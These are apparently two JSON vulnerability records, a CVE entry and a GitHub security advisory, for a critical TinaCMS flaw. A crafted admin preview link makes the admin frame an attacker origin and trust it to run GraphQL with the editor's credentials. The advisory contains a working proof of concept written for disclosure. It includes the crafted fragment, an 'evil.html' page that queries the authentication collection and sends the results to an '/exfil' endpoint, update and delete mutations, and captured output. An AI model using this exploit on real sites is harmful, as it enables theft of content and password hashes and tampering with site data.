{
  "affected": [
    {
      "affectedData": [
        {
          "product": "tinacms",
          "vendor": "tinacms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.14.0"
            }
          ]
        },
        {
          "product": "app",
          "vendor": "@tinacms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.5.14"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Tina is a headless content management system. Prior to tinacms 3.14.0 and @tinacms/app 2.5.14, the /~/* admin preview route in packages/tinacms/src/admin/index.tsx can turn an attacker-controlled hash-router splat into an off-origin iframe URL through packages/@tinacms/app/src/preview.tsx, while packages/@tinacms/app/src/lib/preview-origin.ts derives expectedOrigin from that same URL for the GraphQL message channel in packages/@tinacms/app/src/lib/graphql-reducer.ts. An unauthenticated attacker can send a crafted link to a signed-in editor, cause the admin to frame an attacker origin, and have that frame treated as the trusted preview. The attacker-controlled frame can submit GraphQL reads or mutations that the admin executes with the editor credentials, exposing or modifying protected content. This issue is fixed in tinacms 3.14.0 and @tinacms/app 2.5.14."
    }
  ],
  "id": "CVE-2026-108261",
  "lastModified": "2026-10-16T20:04:29.760",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.3,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.8,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-108261",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-10-13T11:22:22.126132Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-10-09T21:17:04.347",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tinacms/tinacms/commit/b57dbf4b56201aef15cd92caa49fd12ab96bbecf"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tinacms/tinacms/pull/7522"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/app@2.5.14"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tinacms/tinacms/releases/tag/tinacms@3.14.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-x34j-47hf-4xg7"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-x34j-47hf-4xg7"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-346"
        },
        {
          "lang": "en",
          "value": "CWE-441"
        },
        {
          "lang": "en",
          "value": "CWE-601"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.13.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tinacms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@tinacms/app"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-108261"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-441",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:56:48Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe TinaCMS admin builds its preview `\u003ciframe src\u003e` from the `/~/*` hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (`#/~//attacker.example/p`) becomes the protocol-relative URL `//attacker.example/p`, so the admin frames an external site. That same unvalidated string derives `expectedOrigin`, the only trust anchor for the admin\u2194preview `postMessage` channel, so the attacker\u0027s frame is treated as trusted: it can submit any GraphQL operation, which the admin executes with the signed-in editor\u0027s token and posts back to the attacker\u0027s origin.\n\nOne link, opened by a logged-in editor, gives an unauthenticated remote attacker arbitrary read and write access to the site\u0027s content API as that editor.\n\n### Details\n\nRoot cause \u2014 the router splat becomes the frame source with no same-origin check:\n\n```\npackages/tinacms/src/admin/index.tsx:16     HashRouter as Router,\npackages/tinacms/src/admin/index.tsx:329      path=\u0027/~/*\u0027\npackages/tinacms/src/admin/index.tsx:173    const [url, setURL] = React.useState(`/${params[\u0027*\u0027]}`);\npackages/tinacms/src/admin/index.tsx:176    const paramURL = `/${params[\u0027*\u0027]}`;\npackages/@tinacms/app/src/preview.tsx:24        src={props.url}\n```\n\nThe leading `/` is meant to force a relative path, but `react-router-dom@6.30.3` returns the splat with its own leading slash for `/~//x`, producing `//x`. The iframe has no `sandbox` attribute and the admin bundle ships no CSP.\n\nThe trust anchor is then computed from that same value:\n\n```\npackages/@tinacms/app/src/lib/graphql-reducer.ts:209-212   getExpectedPreviewOrigin(url)\npackages/@tinacms/app/src/lib/preview-origin.ts:22           return new URL(url, baseOrigin || undefined).origin;\npackages/@tinacms/app/src/lib/preview-origin.ts:43-46        event.origin !== expectedOrigin -\u003e reject\n```\n\nBoth guards pass for the attacker: `event.origin` *is* `expectedOrigin`, and `event.source` *is* the frame the admin itself loaded.\n\n`PreviewInner`\u0027s URL-correction poll (`packages/tinacms/src/admin/index.tsx:189-200`) does not recover the frame: reading `ref.current.contentWindow.location.href` across origins throws an uncaught `SecurityError`, so `setReportedURL` never fires and no corrective `navigate()` happens. The PoC below includes that effect verbatim and the attack still completes.\n\nSink \u2014 the attacker\u0027s GraphQL string reaches the authenticated client, and the result goes back to the attacker:\n\n```\npackages/@tinacms/app/src/lib/graphql-reducer.ts:613-624   \u0027open\u0027 handler; zod validates types only, not query content\npackages/@tinacms/app/src/lib/graphql-reducer.ts:973-978   cms.api.tina.request(expandedQuery, { variables })\npackages/@tinacms/app/src/lib/graphql-reducer.ts:497-505   postMessageToPreview(..., expectedOrigin)\n```\n\n`expandQuery` (`packages/@tinacms/app/src/lib/expand-query.ts:3-18`) is operation-agnostic, so mutations pass through unchanged.\n\nDefault-enabled: `packages/@tinacms/app/src/App.tsx:70` always passes `preview={Preview}`, and `packages/tinacms/src/admin/index.tsx:327` registers `/~/*` whenever `preview` is truthy \u2014 so the route exists in every `tinacms build` output and in `tinacms dev`.\n\nIncomplete-fix note: `tinacms@3.9.3` / `@tinacms/app@2.5.6` (PR #7056, `c491fc5`) added the sender-side origin check, but never validated the URL that check compares against.\n\nAffected-range basis, stated plainly: I tested only `tinacms@3.12.1` / `@tinacms/app@2.5.12` (commit `0d38acf`). The ranges below are given as `\u003c=` because the vulnerable lines are byte-identical across every commit available to me \u2014 a 123-commit shallow clone, earliest `8a86ffa` (2026-06-26), which predates the `3.9.3` hardening release \u2014 but I did not fetch tags or test earlier releases, so the true lower bound is undetermined. Please narrow it from your own history.\n\nSuggested fix: normalise the splat to a same-origin path before it becomes `url` (reject a leading `/` or `\\`), and have `getExpectedPreviewOrigin` refuse any origin other than `window.location.origin`.\n\n### PoC\n\nSafe, local, non-destructive. Two loopback origins stand in for the site and the attacker; no traffic leaves the machine and no content API is contacted. The victim page uses the repository\u0027s `preview-origin.ts` byte-for-byte and reproduces `PreviewInner`/`Preview` line-for-line from the cited files; `cms.api.tina.request` is stubbed to return a marker so no real backend is touched.\n\nEnvironment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`.\n\n**Setup**\n\n```bash\ngit clone https://github.com/tinacms/tinacms.git tinacms-poc\ncd tinacms-poc \u0026\u0026 git checkout 0d38acfdd23143384b8787d5d772b713fa7af163\nREPO=$PWD\n\nmkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker \u0026\u0026 cd /tmp/tina-poc\nnpm init -y \u003e/dev/null\nnpm i --ignore-scripts react@18.3.1 react-dom@18.3.1 react-router-dom@6.30.3 esbuild@0.25.0 playwright@1.49.0\n\ncp \"$REPO/packages/@tinacms/app/src/lib/preview-origin.ts\" ./preview-origin.ts\n```\n\n`victim/admin.tsx` \u2014 `PreviewInner` from `packages/tinacms/src/admin/index.tsx:170-210`, `Preview` from `packages/@tinacms/app/src/preview.tsx:10-26`, and the four `graphql-reducer.ts` steps (`:209-212`, `:548-556`, `:613-624` + `:973-978`, `:497-505`):\n\n```tsx\nimport React from \u0027react\u0027;\nimport { createRoot } from \u0027react-dom/client\u0027;\nimport { HashRouter as Router, Route, Routes, useNavigate, useParams } from \u0027react-router-dom\u0027;\nimport { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from \u0027../preview-origin\u0027;\n\nconst log = (m: string, x?: unknown) =\u003e console.log(\u0027[victim]\u0027, x === undefined ? m : `${m} ${JSON.stringify(x)}`);\n\n// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin\n// this is an authenticated call to the content API with the editor\u0027s token.\nasync function tinaRequest(query: string) {\n  log(\u0027cms.api.tina.request() called with attacker query\u0027, query);\n  return { data: { __POC_MARKER__: \u0027SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE\u0027 } };\n}\n\nfunction useGraphQLReducer(iframe: React.MutableRefObject\u003cHTMLIFrameElement | null\u003e, url: string) {\n  const expectedOrigin = React.useMemo(() =\u003e getExpectedPreviewOrigin(url), [url]);       // :209-212\n  React.useEffect(() =\u003e {\n    log(\u0027expectedOrigin derived from preview url\u0027, { url, expectedOrigin });\n    (window as any).__poc_expectedOrigin = expectedOrigin;\n  }, [expectedOrigin, url]);\n\n  const handleMessage = React.useCallback(async (event: MessageEvent\u003cany\u003e) =\u003e {\n    if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556\n    if (event.data.type === \u0027open\u0027) {                                                     // :613-624\n      log(\u0027ACCEPTED \"open\" message from\u0027, event.origin);\n      const expandedData = await tinaRequest(event.data.query);                           // :973-978\n      postMessageToPreview(iframe.current?.contentWindow,\n        { type: \u0027updateData\u0027, id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505\n      log(\u0027posted query result to\u0027, expectedOrigin);\n    }\n  }, [expectedOrigin]);\n\n  React.useEffect(() =\u003e {\n    window.addEventListener(\u0027message\u0027, handleMessage);\n    return () =\u003e window.removeEventListener(\u0027message\u0027, handleMessage);\n  }, [handleMessage]);\n}\n\nconst Preview = (props: { url: string; iframeRef: React.MutableRefObject\u003cHTMLIFrameElement | null\u003e }) =\u003e {\n  useGraphQLReducer(props.iframeRef, props.url);\n  return \u003ciframe data-test=\u0027tina-iframe\u0027 id=\u0027tina-iframe\u0027 ref={props.iframeRef}\n                 className=\u0027h-full w-full bg-white\u0027 src={props.url} /\u003e;   // preview.tsx:24\n};\n\nconst PreviewInner = ({ preview }: { preview: any }) =\u003e {                  // admin/index.tsx:170-210\n  const params = useParams();\n  const navigate = useNavigate();\n  const [url, setURL] = React.useState(`/${params[\u0027*\u0027]}`);\n  const [reportedURL, setReportedURL] = React.useState\u003cstring | null\u003e(null);\n  const ref = React.useRef\u003cHTMLIFrameElement\u003e(null);\n  const paramURL = `/${params[\u0027*\u0027]}`;\n  React.useEffect(() =\u003e { if (reportedURL !== paramURL \u0026\u0026 paramURL) setURL(paramURL); }, [paramURL]);\n  React.useEffect(() =\u003e { if ((reportedURL !== url || reportedURL !== paramURL) \u0026\u0026 reportedURL) navigate(`/~${reportedURL}`); }, [reportedURL]);\n  React.useEffect(() =\u003e {                                                 // admin/index.tsx:189-200\n    setInterval(() =\u003e {\n      if (ref.current) {\n        const url = new URL(ref.current.contentWindow?.location.href || \u0027\u0027);\n        if (url.origin === \u0027null\u0027) { return; }\n        const href = url.href.replace(url.origin, \u0027\u0027);\n        setReportedURL(href);\n      }\n    }, 100);\n  }, [ref.current]);\n  React.useEffect(() =\u003e {\n    log(\u0027iframe src computed from router splat\u0027, { \"params[\u0027*\u0027]\": params[\u0027*\u0027], url });\n    (window as any).__poc_iframeSrc = url;\n  }, [url]);\n  const PreviewCmp = preview;\n  return \u003cdiv\u003e\u003cPreviewCmp url={url} iframeRef={ref} /\u003e\u003c/div\u003e;\n};\n\ncreateRoot(document.getElementById(\u0027root\u0027)!).render(\n  \u003cRouter\u003e\n    \u003cRoutes\u003e\n      \u003cRoute path=\u0027/~/*\u0027 element={\u003cPreviewInner preview={Preview} /\u003e} /\u003e   {/* admin/index.tsx:329 */}\n      \u003cRoute path=\u0027/\u0027 element={\u003cdiv\u003eadmin dashboard\u003c/div\u003e} /\u003e\n    \u003c/Routes\u003e\n  \u003c/Router\u003e\n);\n```\n\n`victim/index.html`:\n\n```html\n\u003c!doctype html\u003e\u003chtml\u003e\u003chead\u003e\u003ctitle\u003eTinaCMS admin (repro)\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\u003cdiv id=\"root\"\u003e\u003c/div\u003e\u003cscript type=\"module\" src=\"/admin.js\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\n`attacker/evil.html`:\n\n```html\n\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\n\u003ch1\u003eattacker-controlled page framed by the TinaCMS admin\u003c/h1\u003e\n\u003cscript\u003e\n  parent.postMessage({ type: \u0027open\u0027, id: \u0027poc-1\u0027,\n    query: \u0027query { collection(collection: \"authentication\") { documents { edges { node { ... on Document { _values } } } } } }\u0027,\n    variables: {}, data: {} }, \u0027*\u0027);\n  window.addEventListener(\u0027message\u0027, (e) =\u003e {\n    if (e.data \u0026\u0026 e.data.type === \u0027updateData\u0027) {\n      fetch(\u0027/exfil?data=\u0027 + encodeURIComponent(JSON.stringify(e.data.data)), { mode: \u0027no-cors\u0027 });\n    }\n  });\n\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\n`run.cjs` \u2014 serves both origins, logs every attacker-server request, and runs a control fragment and the crafted fragment:\n\n```js\nconst http=require(\u0027http\u0027),fs=require(\u0027fs\u0027),path=require(\u0027path\u0027),{chromium}=require(\u0027playwright\u0027);\nconst VICTIM_PORT=8801, ATTACKER_PORT=8802, HERE=__dirname, attackerHits=[];\nfunction serve(dir,port,onHit){const s=http.createServer((req,res)=\u003e{const u=new URL(req.url,`http://127.0.0.1:${port}`);\n if(onHit)onHit(req.method+\u0027 \u0027+u.pathname+u.search);\n if(u.pathname.startsWith(\u0027/exfil\u0027)){res.writeHead(204).end();return;}\n const f=path.join(dir,u.pathname===\u0027/\u0027?\u0027/index.html\u0027:u.pathname);\n if(!f.startsWith(dir)||!fs.existsSync(f)){res.writeHead(404).end(\u0027nf\u0027);return;}\n res.writeHead(200,{\u0027content-type\u0027:f.endsWith(\u0027.js\u0027)?\u0027text/javascript\u0027:\u0027text/html; charset=utf-8\u0027});res.end(fs.readFileSync(f));});\n return new Promise(r=\u003es.listen(port,\u0027127.0.0.1\u0027,()=\u003er(s)));}\n(async()=\u003e{const v=await serve(path.join(HERE,\u0027victim\u0027),VICTIM_PORT);\n const a=await serve(path.join(HERE,\u0027attacker\u0027),ATTACKER_PORT,h=\u003eattackerHits.push(h));\n const browser=await chromium.launch({executablePath:\u0027/usr/bin/google-chrome\u0027});const results={};\n for(const scenario of [\u0027control\u0027,\u0027attack\u0027]){attackerHits.length=0;\n  const ctx=await browser.newContext();const page=await ctx.newPage();const logs=[];\n  page.on(\u0027console\u0027,m=\u003elogs.push(m.text()));\n  const hash=scenario===\u0027control\u0027?\u0027#/~/posts/hello-world\u0027:`#/~//127.0.0.1:${ATTACKER_PORT}/evil.html`;\n  await page.goto(`http://127.0.0.1:${VICTIM_PORT}/index.html${hash}`);await page.waitForTimeout(2500);\n  results[scenario]={hash,\n   iframeSrc:await page.evaluate(()=\u003ewindow.__poc_iframeSrc),\n   expectedOriginTrustedByAdmin:await page.evaluate(()=\u003ewindow.__poc_expectedOrigin),\n   framesLoaded:page.frames().map(f=\u003ef.url()),\n   attackerServerHits:[...attackerHits],\n   victimConsole:logs.filter(l=\u003el.startsWith(\u0027[victim]\u0027))};\n  await ctx.close();}\n await browser.close();v.close();a.close();console.log(JSON.stringify(results,null,2));})();\n```\n\n**Run**\n\n```bash\ncd /tmp/tina-poc\nnpx esbuild victim/admin.tsx --bundle --outfile=victim/admin.js --format=esm \\\n  --loader:.tsx=tsx --define:process.env.NODE_ENV=\u0027\"production\"\u0027\nnode run.cjs\n```\n\n**Observed output (captured verbatim)**\n\n```json\n{\n  \"control\": {\n    \"hash\": \"#/~/posts/hello-world\",\n    \"iframeSrc\": \"/posts/hello-world\",\n    \"expectedOriginTrustedByAdmin\": \"http://127.0.0.1:8801\",\n    \"framesLoaded\": [\n      \"http://127.0.0.1:8801/index.html#/~/posts/hello-world\",\n      \"http://127.0.0.1:8801/posts/hello-world\"\n    ],\n    \"attackerServerHits\": [],\n    \"victimConsole\": [\n      \"[victim] expectedOrigin derived from preview url {\\\"url\\\":\\\"/posts/hello-world\\\",\\\"expectedOrigin\\\":\\\"http://127.0.0.1:8801\\\"}\",\n      \"[victim] iframe src computed from router splat {\\\"params[\u0027*\u0027]\\\":\\\"posts/hello-world\\\",\\\"url\\\":\\\"/posts/hello-world\\\"}\"\n    ]\n  },\n  \"attack\": {\n    \"hash\": \"#/~//127.0.0.1:8802/evil.html\",\n    \"iframeSrc\": \"//127.0.0.1:8802/evil.html\",\n    \"expectedOriginTrustedByAdmin\": \"http://127.0.0.1:8802\",\n    \"framesLoaded\": [\n      \"http://127.0.0.1:8801/index.html#/~//127.0.0.1:8802/evil.html\",\n      \"http://127.0.0.1:8802/evil.html\"\n    ],\n    \"attackerServerHits\": [\n      \"GET /evil.html\",\n      \"GET /exfil?data=%7B%22__POC_MARKER__%22%3A%22SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE%22%7D\"\n    ],\n    \"victimConsole\": [\n      \"[victim] expectedOrigin derived from preview url {\\\"url\\\":\\\"//127.0.0.1:8802/evil.html\\\",\\\"expectedOrigin\\\":\\\"http://127.0.0.1:8802\\\"}\",\n      \"[victim] iframe src computed from router splat {\\\"params[\u0027*\u0027]\\\":\\\"/127.0.0.1:8802/evil.html\\\",\\\"url\\\":\\\"//127.0.0.1:8802/evil.html\\\"}\",\n      \"[victim] ACCEPTED \\\"open\\\" message from \\\"http://127.0.0.1:8802\\\"\",\n      \"[victim] cms.api.tina.request() called with attacker query \\\"query { collection(collection: \\\\\\\"authentication\\\\\\\") { documents { edges { node { ... on Document { _values } } } } } }\\\"\",\n      \"[victim] posted query result to \\\"http://127.0.0.1:8802\\\"\"\n    ]\n  }\n}\n```\n\nExpected vulnerable output \u2014 in `attack`: `iframeSrc` protocol-relative, `expectedOriginTrustedByAdmin` equal to the **attacker\u0027s** origin, a frame served by the attacker, and both `GET /evil.html` and `GET /exfil?data=...` on the attacker server. All held.\n\nControl \u2014 `#/~/posts/hello-world` keeps the frame same-origin, keeps `expectedOrigin` on the victim origin, and produces zero attacker hits. That is what the crafted fragment should also do once fixed.\n\n**Supporting check \u2014 attacker mutations survive `expandQuery` and validate against a real Tina schema**\n\n```bash\nmkdir -p /tmp/tina-expand \u0026\u0026 cd /tmp/tina-expand\nnpm init -y \u003e/dev/null \u0026\u0026 npm i --ignore-scripts graphql@16.8.1 esbuild@0.25.0\ncp \"$REPO/packages/@tinacms/app/src/lib/expand-query.ts\" ./expand-query.ts\ncat \u003e t.ts \u003c\u003c\u0027EOF\u0027\nimport * as G from \u0027graphql\u0027; import fs from \u0027fs\u0027; import { expandQuery } from \u0027./expand-query\u0027;\nconst schema = G.buildSchema(fs.readFileSync(process.env.SCHEMA!, \u0027utf-8\u0027));\nconst ops: Record\u003cstring,string\u003e = {\n  READ: `query { movieConnection { edges { node { _values } } } }`,\n  MUTATE_UPDATE: `mutation { updateDocument(collection: \"movie\", relativePath: \"movie1.json\", params: {movie: {title: \"pwned\"}}) { __typename } }`,\n  MUTATE_DELETE: `mutation { deleteDocument(collection: \"movie\", relativePath: \"movie1.json\") { __typename } }`,\n};\nfor (const [n, op] of Object.entries(ops)) {\n  const printed = G.print(expandQuery({ schema, documentNode: G.parse(op) }));\n  const errs = G.validate(schema, G.parse(printed));\n  console.log(`--- ${n} ---`);\n  console.log(\u0027survives expandQuery + validates against the real Tina schema:\u0027, errs.length === 0);\n  console.log(\u0027operation kept:\u0027, (G.parse(printed).definitions[0] as any).operation);\n}\nEOF\nnpx esbuild t.ts --bundle --platform=node --outfile=t.cjs --format=cjs \u003e/dev/null\nSCHEMA=\"$REPO/packages/@tinacms/graphql/src/spec/movies-with-datalayer/.tina/__generated__/schema.gql\" node t.cjs\n```\n\nObserved output:\n\n```\n--- READ ---\nsurvives expandQuery + validates against the real Tina schema: true\noperation kept: query\n--- MUTATE_UPDATE ---\nsurvives expandQuery + validates against the real Tina schema: true\noperation kept: mutation\n--- MUTATE_DELETE ---\nsurvives expandQuery + validates against the real Tina schema: true\noperation kept: mutation\n```\n\n**Supporting check \u2014 router splat behaviour**\n\n```bash\nmkdir -p /tmp/tina-rr \u0026\u0026 cd /tmp/tina-rr \u0026\u0026 npm init -y \u003e/dev/null\nnpm i --ignore-scripts react-router-dom@6.30.3 react@18.3.1 react-dom@18.3.1\ncat \u003e t.cjs \u003c\u003c\u0027EOF\u0027\nconst { matchPath } = require(\u0027react-router-dom\u0027);\nfor (const p of [\u0027/~/posts/hello\u0027,\u0027/~//evil.example\u0027,\u0027/~/%2F%2Fevil.example\u0027]) {\n  const s = matchPath({ path: \u0027/~/*\u0027 }, p)?.params[\u0027*\u0027];\n  console.log(JSON.stringify(p), \u0027=\u003e params[\"*\"] =\u0027, JSON.stringify(s), \u0027=\u003e url =\u0027, JSON.stringify(\u0027/\u0027 + s));\n}\nEOF\nnode t.cjs\n```\n\nObserved output:\n\n```\n\"/~/posts/hello\" =\u003e params[\"*\"] = \"posts/hello\" =\u003e url = \"/posts/hello\"\n\"/~//evil.example\" =\u003e params[\"*\"] = \"/evil.example\" =\u003e url = \"//evil.example\"\n\"/~/%2F%2Fevil.example\" =\u003e params[\"*\"] = \"//evil.example\" =\u003e url = \"///evil.example\"\n```\n\n**Scope of the proof.** Executed and observed here: the protocol-relative `url`, the cross-origin frame load, the attacker origin becoming `expectedOrigin`, the repository\u0027s real `isFromTrustedPreviewOrigin` accepting the attacker\u0027s message, the attacker\u0027s operation string reaching the request function, the response being delivered to the attacker\u0027s origin, and attacker mutations validating against a repository-provided generated schema. Not executed: a call against a live TinaCloud or self-hosted backend \u2014 `cms.api.tina.request` was stubbed deliberately so the PoC contacts no external service and writes no data.\n\n**Cleanup**\n\n```bash\nrm -rf /tmp/tina-poc /tmp/tina-expand /tmp/tina-rr\n```\n\nAll three PoCs were re-run after this report was drafted; the outputs above are those runs.\n\n### Impact\n\nOrigin validation error leading to a confused-deputy abuse of the content API. An unauthenticated remote attacker needs only to get a signed-in TinaCMS editor to open one link \u2014 the payload lives in the URL fragment, so it never reaches the server or its logs. The attacker then reads anything the editor can read (including, on self-hosted setups, the `authentication` collection holding PBKDF2 password hashes) and performs any mutation the editor can perform (`updateDocument`, `createDocument`, `deleteDocument`), with results delivered to the attacker\u0027s own origin. Two boundaries are crossed: the browser same-origin policy, and the content API\u0027s authorization.\n\nImpacted: every deployment serving the TinaCMS admin bundle (`tinacms build` output or `tinacms dev`). No configuration disables the `/~/*` route.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R\u0026D)",
  "id": "GHSA-x34j-47hf-4xg7",
  "modified": "2026-10-09T20:56:48Z",
  "published": "2026-10-09T20:56:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-x34j-47hf-4xg7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/pull/7522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/commit/b57dbf4b56201aef15cd92caa49fd12ab96bbecf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinacms/tinacms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/app@2.5.14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/tinacms@3.14.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment"
}